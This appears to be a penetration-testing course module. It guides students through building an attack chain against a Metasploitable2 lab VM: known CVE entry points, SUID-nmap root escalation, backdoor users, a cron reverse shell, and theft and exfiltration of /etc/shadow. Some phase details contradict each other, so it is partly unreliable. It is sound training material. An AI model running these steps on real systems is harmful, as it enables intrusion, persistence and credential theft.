

Module 5: Attack Path Menu

In this section you will write your own kill chain. For each phase pick one option and use (or complete) the corresponding include file. Wire them together in your top-level `attack_chain.yml` playbook. It's helpful to first walk through the attack steps manually.

Top Level playbook

You can write the whole attackchain sequentially in one top-level playbook or work with include commands with separate files per phase:

```
vars:
  TARGET: CHANGE_ME          # Metasploitable2 IP
  ATTACKER_IP: CHANGE_ME     # Your attacker machine IP
  LPORT: "4444"

commands:
  - type: include
    cmd: includes/recon_nmap.yml          # Phase 1: Recon

  - type: include
    cmd: includes/entry_distcc.yml       # Phase 4: Initial Access (low-privilege)

  - type: include
    cmd: includes/privesc_suid_nmap.yml   # Phase 4.5: Privilege Escalation

  - type: include
    cmd: includes/post_basic_info.yml    # Phase 7: Discovery

  - type: include
    cmd: includes/collect_shadow.yml     # Phase 7: Credential Access

  - type: include
    cmd: includes/persist_cron.yml       # Phase 5: Persistence

  - type: include
    cmd: includes/exfil_sftp.yml         # Phase 7: Exfiltration
```

Phase 1: Reconnaissance

Option A: Full nmap scan + parse open ports

File: `includes/recon_nmap.yml` (TODOs to fill in)

- Verifies connectivity with a ping check first (fill in the `error_if` condition)
- Runs nmap against `$TARGET` (choose the right flags for service detection)
- Stores the full scan output in `$NMAP_OUTPUT`
- Extracts open port numbers into `$OPEN_PORTS` using a `regex` command (write the pattern)

ATT&CK: T1046, T1595.002

Phase 4: Exploitation / Initial Access

Pick **one** entry point.

Entries that give root immediately (skip the Privilege Escalation phase):

- Option A: vsftpd backdoor
- Option B: Samba usermap_script

Entries that give a low-privilege shell (Privilege Escalation required):

- Option C: SSH with weak credentials (user user)
- Option D: distcc daemon RCE (daemon user)

Option A: vsftpd 2.3.4 Backdoor (CVE-2011-2523)

File: `includes/entry_vsftpd.yml` (TODOs to fill in)

- **Port:** 21 (FTP), no credentials required
- **Module:** `exploit/unix/ftp/vsftpd_234_backdoor`
- **Result:** root shell session
- **Session type:** Metasploit shell
- **Root immediately:** no privilege escalation needed
- **Note:** timing-sensitive, may need retries

ATT&CK: T1190

Background: A malicious developer inserted a backdoor into the vsftpd 2.3.4 source tarball in 2011. When a login attempt includes a `:)` smiley in the username, the daemon opens a root bind shell on port 6200.

Option B: Samba usermap_script (CVE-2007-2447)

File: `includes/entry_samba.yml` (TODOs to fill in)

- **Port:** 139/445 (SMB), no credentials
- **Module:** `exploit/multi/samba/usermap_script`
- **Result:** root shell session
- **Root immediately:** no privilege escalation needed

ATT&CK: T1190

Background: The `username map script` option in `smb.conf` passes the username field to a shell script. CVE-2007-2447 exploits this by injecting shell metacharacters into the username, causing `smbd` to execute attacker-controlled commands as root.

Option C: SSH with Weak Credentials

File: `includes/entry_ssh.yml` (TODOs to fill in)

- **Port:** 22, credentials: `user / user`
- **Result:** interactive SSH session as `msfadmin` (not root)
- **Privilege escalation needed:** yes

ATT&CK: T1078.003

Background: Metasploitable2 ships with the default account `user/user`.

Option D: PHP-CGI Argument Injection (CVE-2012-1823)

File: `includes/php_entry.yml` (see day 2 walkthroughs as reference)

- **Port:** 80 (Apache/PHP-CGI)
- **Module:** `exploit/multi/http/php_cgi_arg_injection`
- **Requires:** generate payload with `msf-payload`, serve with `webserv`, catch with `multi/handler`

ATT&CK: T1190, T1105

Background: PHP before 5.3.12 passes query string arguments beginning with `-` as command-line options to the PHP interpreter. This allows an attacker to inject `-d allow_url_include=1` and execute arbitrary PHP code, making it a remote code execution vulnerability.

Option E: distcc Daemon RCE (CVE-2004-2687)

File: `includes/entry_distcc.yml` (TODOs to fill in)

- **Port:** 3632
- **Module:** `exploit/unix/misc/distcc_exec`
- **Result:** shell session as `daemon` user (not root)
- **Privilege escalation needed:** yes

ATT&CK: T1190

Background: distcc distributes C/C++ compilation jobs across a network. When configured without access control (the default), any host can submit a compilation job. The distcc_exec module abuses this by injecting shell commands as compiler arguments rather than actual source code. The daemon process runs as the `daemon` user.

Phase 4.5: Privilege Escalation

Background: The Linux root user and UID

Every process on Linux runs as a user identified by a numeric **UID** (User ID). UID 0 is the superuser, `root`. The kernel grants root unrestricted access: any file, any process, any system call. Most exploits land you as an unprivileged user (e.g. `daemon` UID 1, or `user` with a high UID). That shell cannot read `/etc/shadow`, install services, or modify system files.

Two UIDs matter when escalating:

- **UID** (real user ID): who launched the process.
- **EUID** (effective user ID): what the kernel checks for permission decisions.

The **SUID** bit closes the gap between them. When a file has the SUID bit set (`-rwsr-xr-x`), the kernel sets the process EUID to the *file owner* (root), not the caller. Any command that process runs therefore has root-level access, regardless of who triggered it. This is the mechanism the nmap exercise below exploits.

Run `id` at any point to see your current UID and EUID.

Skip this phase if your entry gave you root already (vsftpd, Samba).

Required for: SSH entry (user user), distcc entry (daemon user).

Pick **one** option. All three leave the `$SESSION_NAME` variable unchanged, subsequent includes continue to use the same session, which now has root-level access.

If you are using a non-interactive shell you might have to upgrade it to interactive shell (as demonstrated in walkthroughs 04_modular_includes.yml and upgrade_shell.yml)

Option A: SUID Binary Abuse (nmap)

File: `includes/privesc_suid_nmap.yml` (TODOs to fill in)

- Works with any user on Metasploitable2
- Metasploitable2 ships with `/usr/bin/nmap` owned by root with the SUID bit set
- nmap's `--interactive` mode accepts `!<command>` to run OS commands with the binary's effective UID (root)
- The technique uses this to set the SUID bit on `/bin/bash`, then runs `/bin/bash -p` to get a root shell

ATT&CK: T1548.001 (Setuid and Setgid)

How it works:

```
# Find SUID binaries (lists nmap among others)
find / -perm -4000 -user root -type f 2>/dev/null

# Use nmap's SUID + interactive mode to set SUID on /bin/bash
printf "!chmod u+s /bin/bash\nexit\n" | nmap --interactive

# Verify the SUID bit is set on /bin/bash
ls -la /bin/bash

# Get a root shell via /bin/bash -p (preserve effective UID)
/bin/bash -p -c id
# Expected: uid=1001(daemon) euid=0(root)
```

Cleanup: `chmod u-s /bin/bash` (run before ending the session)

Phase 5: Persistence

Pick **one or more**. All three options have corresponding include files.

Option A: SSH Authorized Key

File: `includes/persist_ssh_key.yml` (TODOs to fill in)

1. Generate a new RSA keypair on the attacker machine (`ssh-keygen`)
2. Read the public key into a variable
3. Create `~/.ssh/` on the target via session
4. Append the public key to `~/.ssh/authorized_keys`
5. Verify the key works with a test SSH connection

ATT&CK: T1098.004

Stealth: Changes to `~/.ssh/authorized_keys` are detectable by file integrity monitoring. New key additions may be noticed during security reviews, but the file is not actively monitored by default on most systems.

Option B: Cron Backdoor

File: `includes/persist_cron.yml` (TODOs to fill in)

1. Write a cron entry to `/etc/cron.d/backdoor` as root
2. The entry runs a reverse bash shell every minute
3. Start a `multi/handler` listener to catch the callback

ATT&CK: T1053.003

Stealth: `/etc/cron.d/` is commonly reviewed during incident response. The callback generates a new outbound connection every minute, which is detectable in network monitoring. However, on unmonitored systems it is highly reliable since it fires automatically without any attacker interaction.

Option C: Create Backdoor User

File: `includes/persist_new_user.yml` (TODOs to fill in)

1. `useradd -m -s /bin/bash backdooruser` to create the user
2. `echo 'backdooruser:Passw0rd123' | chpasswd` to set the password
3. `usermod -aG sudo backdooruser` to grant sudo rights
4. Verify SSH access with the new credentials

ATT&CK: T1136.001

Stealth: New accounts appear in `/etc/passwd` and `/etc/shadow`. Most privilege and access management reviews check for unknown accounts. However, on a system without active monitoring, a new account may go unnoticed for a long time, especially if given a plausible name.

Phase 7: Discovery

Option A: Basic System Information

File: `includes/post_basic_info.yml` (TODOs to fill in)

- Runs: `id,hostname,uname -a,ifconfig,cat /etc/passwd,ps aux,ss -tn`
- Works with both Metasploit shell and SSH sessions

ATT&CK: T1082, T1087.001, T1057, T1016

Option B: Meterpreter Upgrade + Post Modules

File: `includes/post_meterpreter_upgrade.yml` (TODOs to fill in)

- Upgrades a Metasploit shell session to Meterpreter
- Runs Metasploit post modules for network enumeration, user history, and VM detection

ATT&CK: T1082, T1057

Phase 7: Credential Access

Option A: Read `/etc/shadow`

File: `includes/collect_shadow.yml` (TODOs to fill in)

- `cat /etc/shadow` via session (requires root)

ATT&CK: T1003.008

Phase 7: Exfiltration

Option A: SFTP Download

File: `includes/exfil_sftp.yml` (TODOs to fill in)

- Downloads `/etc/passwd` and `/etc/shadow` to a local temp directory
- Use discovered or created credentials for SFTP

ATT&CK: T1048.003

Option B: Meterpreter Download

File:

```
- type: msf-session
  session: $SESSION_NAME
  cmd: download /etc/shadow /tmp/
```

ATT&CK: T1041

Quick Reference: Include File Status

File	Phase	Status	Variables required	Variables set
<code>includes/recon_nmap.yml</code>	Phase 1: Reconnaissance	Skeleton (3 TODOs)	<code>\$TARGET</code>	<code>\$NMAP_OUTPUT</code> , <code>\$OPEN_PORTS</code>
<code>includes/entry_vsftpd.yml</code>	Phase 4: Initial Access	Skeleton (2 TODOs)	<code>\$TARGET</code>	<code>\$SESSION_NAME</code>
<code>includes/entry_samba.yml</code>	Phase 4: Initial Access	Skeleton (2 TODOs)	<code>\$TARGET</code> , <code>\$ATTACKER_IP</code> , <code>\$LPORT</code>	<code>\$SESSION_NAME</code>
<code>includes/entry_ssh.yml</code>	Phase 4: Initial Access	Skeleton (2 TODOs)	<code>\$TARGET</code>	<code>\$SESSION_NAME</code>
<code>includes/entry_distcc.yml</code>	Phase 4: Initial Access	Skeleton (3 TODOs)	<code>\$TARGET</code> , <code>\$ATTACKER_IP</code> , <code>\$LPORT</code>	<code>\$SESSION_NAME</code>
<code>includes/privesc_suid_nmap.yml</code>	Phase 4.5: Privilege Escalation	Skeleton (2 TODOs)	<code>\$SESSION_NAME</code>	—
<code>includes/post_basic_info.yml</code>	Phase 7: Discovery	Skeleton (7 TODOs)	<code>\$SESSION_NAME</code>	—
<code>includes/post_meterpreter_upgrade.yml</code>	Phase 7: Discovery	Skeleton (2 TODOs)	<code>\$LAST_MSF_SESSION</code> , <code>\$ATTACKER_IP</code>	<code>\$SESSION_NAME</code>
<code>includes/persist_ssh_key.yml</code>	Phase 5: Persistence	Skeleton (3 TODOs)	<code>\$SESSION_NAME</code> , <code>\$TARGET</code>	<code>\$BACKDOOR_PUBKEY</code>
<code>includes/persist_cron.yml</code>	Phase 5: Persistence	Skeleton (2 TODOs)	<code>\$SESSION_NAME</code> , <code>\$ATTACKER_IP</code> , <code>\$LPORT</code>	—
<code>includes/persist_new_user.yml</code>	Phase 5: Persistence	Skeleton (5 TODOs)	<code>\$SESSION_NAME</code> , <code>\$TARGET</code>	—
<code>includes/collect_shadow.yml</code>	Phase 7: Credential Access	Skeleton (1 TODO)	<code>\$SESSION_NAME</code> (root)	<code>\$SHADOW_CONTENT</code>
<code>includes/exfil_sftp.yml</code>	Phase 7: Exfiltration	Skeleton (4 TODOs)	<code>\$TARGET</code>	<code>\$EXFIL_DIR</code>

Suggested Combinations

Path 1: Quickest full chain (all root from the start)

No privilege escalation needed.

```
recon_nmap → entry_vsftpd → post_basic_info → collect_shadow → persist_ssh_key → exfil_sftp
```

Path 2: SSH entry + sudo escalation

Uses only SSH commands and no Metasploit exploit modules.

```
recon_nmap → entry_ssh → privesc_sudo → post_basic_info → collect_shadow → persist_new_user → exfil_sftp
```

Path 3: Non-standard entry + SUID escalation

Uses the UnrealIRCd backdoor then escalates via SUID nmap.

```
recon_nmap → entry_distcc → privesc_suid_nmap → post_meterpreter_upgrade → collect_shadow → persist_cron → exfil_sftp
```

Path 4: Stretch (PHP-CGI + full custom chain)

Build the PHP-CGI entry yourself using day 2 walkthrough material, then add persistence and exfiltration of your choice.

```
recon_nmap → entry_php_cgi → privesc_sudo → post_meterpreter_upgrade → collect_shadow → persist_cron → exfil_sftp
```

Variables Used Across Include Files

Variable	Set By	Used By
\$TARGET	attack_chain.yml vars	All includes
\$ATTACKER_IP	attack_chain.yml vars	Entry includes (LHOST), persist_cron
\$LPORT	attack_chain.yml vars	Entry includes
\$SESSION_NAME	entry_*.yaml (setvar)	All post-exploitation includes
\$LAST_MSF_SESSION	AttackMate built-in	Meterpreter upgrade, post modules
\$SHADOW_CONTENT	collect_shadow.yaml (setvar)	Optional: further processing
\$BACKDOOR_PUBKEY	persist_ssh_key.yaml (setvar)	Used within persist_ssh_key.yaml
\$EXFIL_DIR	exfil_sftp.yaml (mktemp)	Stores downloaded files